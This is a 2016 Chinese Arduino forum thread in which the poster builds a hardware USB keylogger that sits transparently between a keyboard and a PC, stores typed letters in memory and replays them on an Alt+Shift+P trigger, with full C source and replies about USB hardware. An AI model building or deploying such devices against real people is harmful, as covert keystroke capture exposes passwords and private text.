Arduino 打造USB键盘记录器-Arduino中文社区 - Powered by Discuz!

Arduino中文社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 20451|回复: 23

Arduino 打造USB键盘记录器

[复制链接]
发表于 2016-5-12 09:18 | 显示全部楼层 |阅读模式
刚开始玩Arduino 的时候,我尝试试验过一个 PS2键盘记录器:将PS2线剥开,接入Arduino Uno。通过分析PS2协议,键盘上按键随时会被记录在ArduinoEEPROM中【参考1】。
image001.jpg
                              
完成之后,我就在思考是否有能记录USB键盘的方法。Arduino 本身使用的主控芯片只有16Mhz,作为USBLow Speed设备发送已经力不从心,更不要说直接对USB 信号采样。后来偶然的机会接触到了 Arduino USB Host Shield,发现这个Shield 作为 USBHost具有解析USB协议的能力,可以控制USB设备,解析USBKeyboard/Mouse 更是不在话下。
抓到了USB 键盘的数据,下面的问题就是如何发送出去。最传统的方法是直接用 ArduinoLeonardo 这样带有USB控制器的板子,但是经过考察,这个型号的SPI部分引脚与Uno差别很大,导致无法直接使用(后面我还会介绍为什么有差别,以及如何解决)。最终找到可以将Uno模拟为USBKeyboard的方法:将Uno上面的Usb转串口芯片代码替换为特殊的Firmware【参考2】,从PC端看去是一个USB Keyboard设备。这个方法的优点是百分百兼容USB Host Shield,缺点是无法直接使用IDE下载,必须用USBISP 之类的设备刷写Uno上的328P 芯片。具体操作可以在【参考3】看到。
最终方案如下:
第一步,使用 USB Host Shield将键盘切换到 Boot Protocol 模式,这样保证所有的USB键盘按照统一的格式输出按键信息;
第二步,Arduino 解析USB键盘的按键信息,解析之后直接存储到内存中;
第三步,接收到特定的组合键后,将USB  键盘的按键信息从Atmel16u2发出去
整个过程对于PC也是透明的。
下面是USB HID Keyboard Boot Protocol 使用的格式,上面提到的解析过程和最后的再次发送的过程都会遵循该格式。
        
位置
      
内容
  
   
0
  
Modifier keys:
  Bit 0 – 左 CTRL
  Bit 1 - 左 SHIFT
  Bit 2 - 左 ALT
  Bit 3 - 左 GUI
  Bit 4 – 右 CTRL
  Bit 5 - 右 SHIFT
  Bit 6 - 右 ALT
  Bit 7 - 右 GUI

   
1
  
保留

   
2 - 7
  
HID协议定义的键值。 这里有6个bytes,可以同时容纳6个按键
例如:
直接按下 Ctrl Usb Host Shield 将会解析出 01 00 0000  00 00 00 00,抬起后还会解析出0000 00 00  00 00 00 00
分别按下 Alt Shift P 键后,UsbHost Shield 将会解析出06 00 13 00 00 00 00 00 ,抬起后还会输出出0000 00 00  00 00 00 00。我们会将这个组合键作为输出记录值的触发条件。
[mw_shl_code=c,true]/* MAX3421E USB Host controller LCD/keyboard demonstration */
//#include <Spi.h>
#include "Max3421e.h"
#include "Usb.h"

/* keyboard data taken from configuration descriptor */
#define KBD_ADDR        1
#define KBD_EP          1
#define KBD_IF          0
#define EP_MAXPKTSIZE   8
#define EP_POLL         0x0a

#define RECORDBUFSIZE  60

/**/
/* "Sticky keys */
#define CAPSLOCK    (0x39)
#define NUMLOCK     (0x53)
#define SCROLLLOCK  (0x47)
/* Sticky keys output report bitmasks */
#define bmNUMLOCK       0x01
#define bmCAPSLOCK      0x02
#define bmSCROLLLOCK    0x04
/**/
EP_RECORD ep_record[ 2 ];  //endpoint record structure for the keyboard

char buf[ 8 ] = { 0 };      //keyboard buffer
char old_buf[ 8 ] = { 0 };  //last poll
/* Sticky key state */
bool numLock = false;
bool capsLock = false;
bool scrollLock = false;
int addr = 0;

char p = 0;
char KeyRecord[RECORDBUFSIZE];

bool OutputMark = false;

MAX3421E Max;
USB Usb;

void setup() {
  Serial.begin( 9600 );
  //Serial.println("Start");
  Max.powerOn();
  delay( 200 );
  for (int i = 0; i < RECORDBUFSIZE; i++)
  {
    KeyRecord = 0x1D; //Init with 'z'
  }
}

void loop() {
  Max.Task();
  Usb.Task();
  if ( Usb.getUsbTaskState() == USB_STATE_CONFIGURING ) { //wait for addressing state
    kbd_init();
    Usb.setUsbTaskState( USB_STATE_RUNNING );
  }
  if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { //poll the keyboard
    kbd_poll();
  }
  if (OutputMark) {
    //Send all data to 16U2
    for (int i = 0; i < RECORDBUFSIZE; i++) {
      //Send all data to 16u2
      Serial.write(0); //Byte 0 == 0
      Serial.write(0); //Byte 1 == 0
      Serial.write(KeyRecord); //Byte 2
      Serial.write(0); //Byte 3
      Serial.write(0); //Byte 4
      Serial.write(0); //Byte 5
      Serial.write(0); //Byte 6
      Serial.write(0); //Byte 7

      Serial.write(0); //Byte 0
      Serial.write(0); //Byte 1
      Serial.write(0); //Byte 2
      Serial.write(0); //Byte 3
      Serial.write(0); //Byte 4
      Serial.write(0); //Byte 5
      Serial.write(0); //Byte 6
      Serial.write(0); //Byte 7
  
    }
    OutputMark = false;
  }
}
/* Initialize keyboard */
void kbd_init( void )
{
  byte rcode = 0;  //return code
  /**/
  /* Initialize data structures */
  ep_record[ 0 ] = *( Usb.getDevTableEntry( 0, 0 )); //copy endpoint 0 parameters
  ep_record[ 1 ].MaxPktSize = EP_MAXPKTSIZE;
  ep_record[ 1 ].Interval  = EP_POLL;
  ep_record[ 1 ].sndToggle = bmSNDTOG0;
  ep_record[ 1 ].rcvToggle = bmRCVTOG0;
  Usb.setDevTableEntry( 1, ep_record );              //plug kbd.endpoint parameters to devtable
  /* Configure device */
  rcode = Usb.setConf( KBD_ADDR, 0, 1 );
  if ( rcode ) {
    //Serial.print("Error attempting to configure keyboard. Return code :");
    //Serial.println( rcode, HEX );
    while (1); //stop
  }
  /* Set boot protocol */
  rcode = Usb.setProto( KBD_ADDR, 0, 0, 0 );
  if ( rcode ) {
    //Serial.print("Error attempting to configure boot protocol. Return code :");
    //Serial.println( rcode, HEX );
    while ( 1 ); //stop
  }
  delay(2000);
  //Serial.println("Keyboard initialized");
}

/* Poll keyboard and print result */
/* buffer starts at position 2, 0 is modifier key state and 1 is irrelevant */
void kbd_poll( void )
{
  byte i;
  static char leds = 0;
  byte rcode = 0;     //return code

  /* poll keyboard */
  rcode = Usb.inTransfer( KBD_ADDR, KBD_EP, 8, buf );
  if ( rcode != 0 ) {
    return;
  }//if ( rcode..

  i = 0;
  while (i < 8) {
    if (old_buf != buf) {
      i = 0xff;
      break;
    }
    i++;
  }

  if (i == 0xff) { //if new key
    switch ( buf[ 0 ] ) {
      case CAPSLOCK:
        capsLock = ! capsLock;
        leds = ( capsLock ) ? leds |= bmCAPSLOCK : leds &= ~bmCAPSLOCK;       // set or clear bit 1 of LED report byte
        break;
      case NUMLOCK:
        numLock = ! numLock;
        leds = ( numLock ) ? leds |= bmNUMLOCK : leds &= ~bmNUMLOCK;           // set or clear bit 0 of LED report byte
        break;
      case SCROLLLOCK:
        scrollLock = ! scrollLock;
        leds = ( scrollLock ) ? leds |= bmSCROLLLOCK : leds &= ~bmSCROLLLOCK;   // set or clear bit 2 of LED report byte
        break;
      default:
        //By pass all data to 16u2
               Serial.write(buf,8);

        //Save the keyvalue to memory
        for (i = 2; i < 8; i++) {
          if ((buf >= 4) && (buf <= 27)) {
            KeyRecord[p] = buf;
            p = (p + 1) % RECORDBUFSIZE;
          }
        }

        //If we get 'Output command', we will output all the data in eeprom
        if ((buf[0] == 0x06) && (buf[2] == 0x13) && (buf[3] == 0x00)) {
          OutputMark = true;
        }

        break;
    }//switch( buf[ i ...

    rcode = Usb.setReport( KBD_ADDR, 0, 1, KBD_IF, 0x02, 0, &leds );

    if ( rcode ) {
      //Serial.print("Set report error: ");
      //Serial.println( rcode, HEX );
    }//if( rcode ...

    for ( i = 0; i < 8; i++ ) {                   //copy new buffer to old
      old_buf[ i ] = buf[ i ];
    }
  }//if (i==0xff) {   //if new key


}
/* compare byte against bytes in old buffer */
bool buf_compare( byte data )
{
  char i;
  for ( i = 0; i < 8; i++ ) {
    if ( old_buf[ i ] == data ) {
      return ( true );
    }
  }
  return ( false );
}[/mw_shl_code]
上面的程序架构和之前的USB键盘转蓝牙键盘的架构是一样的,具体的设计有兴趣的读者可以在【参考5】看到。
对于按键的记录是这样的:如果发现解析出来的按键信息Byte2-7 不为零才主动存储在内容中,进行循环覆盖。当检测到有左 Alt+Shift+P 按下时,将存储在内存中的键值从USB口再次输出,此时在PC端打开一个记事本工具即可看到内容。本文主要目标是演示思路,所以这部分代码并没有优化,实用性方面较差。
image002.jpg

完整代码下载

KbByPass.zip (16.9 KB, 下载次数: 161)
参考:
1.     http://www.lab-z.com/ps2a/制作一个PS2键盘记录器
3.     http://www.arduino.cn/thread-20751-1-1.html介绍一种特别的Arduino Uno 模拟鼠标的方法
4.     http://hunt.net.nz/users/darran/?tag=keyboard  Arduino UNO Keyboard HID version 0.3
5.     http://www.arduino.cn/thread-17412-1-1.htmlUSB键盘转蓝牙键盘的设备

发表于 2016-5-12 11:34 | 显示全部楼层
相当于用arduino中转?

点评

对 差不多 bypass  发表于 2016-5-12 13:08
发表于 2016-5-12 12:36 | 显示全部楼层
强!另一个 USB 方面的利器:Teensy。非常强大,可惜就是价格也很强大

点评

teensy 国内没人玩,所以价格降不下来。  发表于 2016-5-12 13:06
发表于 2016-5-12 14:57 | 显示全部楼层
本帖最后由 t2y3 于 2016-5-12 14:58 编辑

@Zoologist 知道有没替代的呢?32u4 有点弱资料少,STM32 关于 USB 部分资料和样例太少。Teensy 主要是那个用于上载代码的芯片要问官方购买,也是价格高的一个主要因素。

点评

usb 芯片我比较推荐 CY7C68013 系列的,速度够快,价格也不高  发表于 2016-5-12 17:49
发表于 2016-5-12 16:08 | 显示全部楼层
t2y3 发表于 2016-5-12 14:57
@Zoologist 知道有没替代的呢?32u4 有点弱资料少,STM32 关于 USB 部分资料和样例太少。Teens ...

F105RB卖¥15,支持usb host。比arduino usb host shield便宜一半
usb开发不算很难,因为有cubemx可以生成代码。
我就是用cubemx做出f103的键鼠hid。

但是似乎没法同时支持host和device。要实现楼主这种的话估计要两片mcu一片做host,一片做device,串口通讯。
发表于 2016-5-13 11:53 | 显示全部楼层
@Zoologist 谢谢,看看去 :D
发表于 2016-5-13 11:59 | 显示全部楼层
tempchar 发表于 2016-5-12 16:08
F105RB卖¥15,支持usb host。比arduino usb host shield便宜一半
usb开发不算很难,因为有cubemx可以生 ...

确定好 USB 设备倒还好,主要目的是做一个 USB 通用代理(Host 接主机,Device 侧接上什么设备,主机上就被识别为什么设备,中间根据设备类型做数据分析。可以 USB 设备远程化等高级功能),这就要求从协议层着手了。目前已经用 Teensy 实现了,但是无法大规模应用,在找其他低成本方案。

不知有没什么建议呢?
 楼主| 发表于 2016-5-13 12:50 | 显示全部楼层
t2y3 发表于 2016-5-13 11:59
确定好 USB 设备倒还好,主要目的是做一个 USB 通用代理(Host 接主机,Device 侧接上什么设备,主机上就 ...

不会吧?Teensy 可以做到这个?
USB对时序要求蛮高的,我觉得你说的不太可能。
最多做到针对具体的某种设备的解析,不太可能做到通用。
发表于 2016-5-13 14:16 | 显示全部楼层
本帖最后由 t2y3 于 2016-5-13 14:19 编辑
Zoologist 发表于 2016-5-13 12:50
不会吧?Teensy 可以做到这个?
USB对时序要求蛮高的,我觉得你说的不太可能。
最多做到针对具体的某种设 ...

目前基本上可以支持 USB 2.0 键盘、鼠标、打印机等对时序要求不是太高的场合。当然配合了树莓派,只是 Teensy 自然做不到啦。

可以参考:https://github.com/dominicgs/USBProxy。这个是 Beaglebone 的实现。
发表于 2016-9-30 09:47 来自手机 | 显示全部楼层
学习了,HID非常实用。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|Archiver|手机版|Arduino中文社区

GMT+8, 2024-11-28 09:22 , Processed in 0.189509 second(s), 24 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表